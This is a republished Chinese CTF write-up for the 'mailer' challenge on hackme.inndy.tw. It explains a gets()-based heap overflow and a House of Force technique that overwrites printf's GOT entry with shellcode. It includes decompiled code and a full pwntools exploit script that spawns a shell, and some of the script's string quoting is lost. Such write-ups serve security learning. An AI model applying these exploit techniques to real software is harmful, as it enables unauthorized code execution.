加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 综合聚焦 > 服务器 > 安全 > 正文

hackme.inndy.tw——mailer

发布时间:2020-12-15 22:23:22 所属栏目:安全 来源:网络整理
导读:32位程序,没开PIE,NX,可写入可执行代码 #House Of Force ? 程序逻辑 1 int service() 2 { 3 unsigned int v0; // eax 4 5 qmemcpy(helloworld,unk_8048AA0, 0x48u ); 6 root = ( int ) helloworld; 7 memcpy(( char *)helloworld + 72 , " Hello,World " ,

32位程序,没开PIE,NX,可写入可执行代码  #House Of Force

?

程序逻辑

 1 int service()
 2 {
 3   unsigned int v0; // eax
 4 
 5   qmemcpy(&helloworld,&unk_8048AA0,0x48u);
 6   root = (int)&helloworld;
 7   memcpy((char *)&helloworld + 72,"Hello,World",0xCu);
 8   while ( 1 )
 9   {
10     while ( 1 )
11     {
12       puts("0. Exit");
13       puts("1. Write mail");
14       puts("2. Dump mails");
15       printf("Action: ");
16       v0 = readint();
17       if ( v0 != 1 )
18         break;
19       write_mail();
20     }
21     if ( v0 < 1 )
22       break;
23     if ( v0 == 2 )
24       dump_mail();
25     else
26       puts("Invalid choice");
27   }
28   return puts("Bye");
29 }

write_mail模块如下,用了gets,造成堆溢出

 1 int write_mail()
 2 {
 3   int v0; // eax
 4   int v1; // ST1C_4
 5   int result; // eax
 6 
 7   printf("Content Length: ");
 8   v0 = readint();
 9   v1 = new_mail(v0);
10   printf("Title: ");
11   gets((char *)(v1 + 4)); //堆溢出 12   printf("Content: ");
13   gets((char *)(v1 + 72));//堆溢出 14   *(_DWORD *)v1 = root;
15   result = v1;
16   root = v1;
17   return result;
18 }

结构体如下

1 00000000 rifle           struc ; (sizeof=0x48+size)
2 00000000 ptr            db 4 dup(?)
3 00000004 title          db 64 dup(?)
4 00000044 size           db 4 dup(?)                    ; offset
5 00000048 content     db size dup(?)
6 00000048+size rifle           ends

dump_mail函数用来泄露地址

 1 int dump_mail()
 2 {
 3   _DWORD *v1; // [esp+8h] [ebp-10h]
 4   signed int v2; // [esp+Ch] [ebp-Ch]
 5 
 6   v1 = (_DWORD *)root;
 7   v2 = 1;
 8   while ( v1 )
 9   {
10     printf("-- Mail %d:n",v2);
11     printf("Title: %sn",v1 + 1);
12     printf("Content: ");
13     fwrite(v1 + 18,1u,v1[17],stdout);
14     printf("n-- End mail %dn",v2++);
15     v1 = (_DWORD *)*v1;
16   }
17   return puts("-- No more mail!");
18 }

利用思路

?

  • 新建两个mail,创建chunk1和chunk2,其中chunk1输入title时写入shellcode,同时溢出到length,将其改为0x30,在使用dump功能的时候就可以把chunk1的堆地址泄漏出来
  • 同时在chunk2中输入content的时候,溢出到top chunk,修改size为0xffffffff
  • 再一次申请一个新的mail,大小为elf.got["printf"] - top- 72-16
  • 由于新的top chunk的size = old top chunk的地址+新malloc的chunk的大小,新的top chunk的地址为elf.got["printf"] -16+4
  • 下一次新建mail的时候,再输入的title就会刚刚好位于elf.got["printf"]中,修改为shellcode的地址
  • 改printf的got表为shellcode地址,从而getshell

?

expolit

 1 from pwn import *
 2 sh=process(./mailer)
 3 libc=ELF(/lib/i386-linux-gnu/libc.so.6)
 4 #sh=remote(‘hackme.inndy.tw‘,7721)
 5 #libc=ELF(‘./libc-2.23.so.i386‘)
 6 elf=ELF(./mailer)
 7 context(os=linux,)
 8 def writemail(size,title,data):
 9     sh.recvuntil(Action: )
10     sh.sendline(1)
11     sh.recvuntil(Content Length: )
12     sh.sendline(str(size))
13     sh.recvuntil(Title: )
14     sh.sendline(title)
15     sh.recvuntil(Content: )
16     sh.sendline(data)
17 
18 def dumpmail():
19     sh.recvuntil(Action: )
20     sh.sendline(2)
21 
22 shellcode=asm(shellcraft.i386.linux.sh())
23 shellcode=shellcode.ljust(0x40,x00)
24 writemail(32,shellcode+p32(0x30),aaaa)
25 writemail(32,bbbb,bbbb*8+p32(0)+p32(0xffffffff))
26 dumpmail()
27 sh.recvuntil(Mail 2:)
28 leak_adr=u32(sh.recvuntil(bbbb,drop=True)[-4:])
29 shell_adr=leak_adr+0x4
30 top=leak_adr+0xd8
31 fake_size=elf.got[printf]-top-72-16
32 print printf_got: +hex(elf.got[printf])
33 print top: +hex(top)
34 #gdb.attach(sh)
35 writemail(fake_size,aaaa,bbbb)
36 #gdb.attach(sh)
37 sh.sendline(1)
38 sh.sendline(30)
39 sh.sendline(p32(shell_adr))
40 sh.interactive()

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读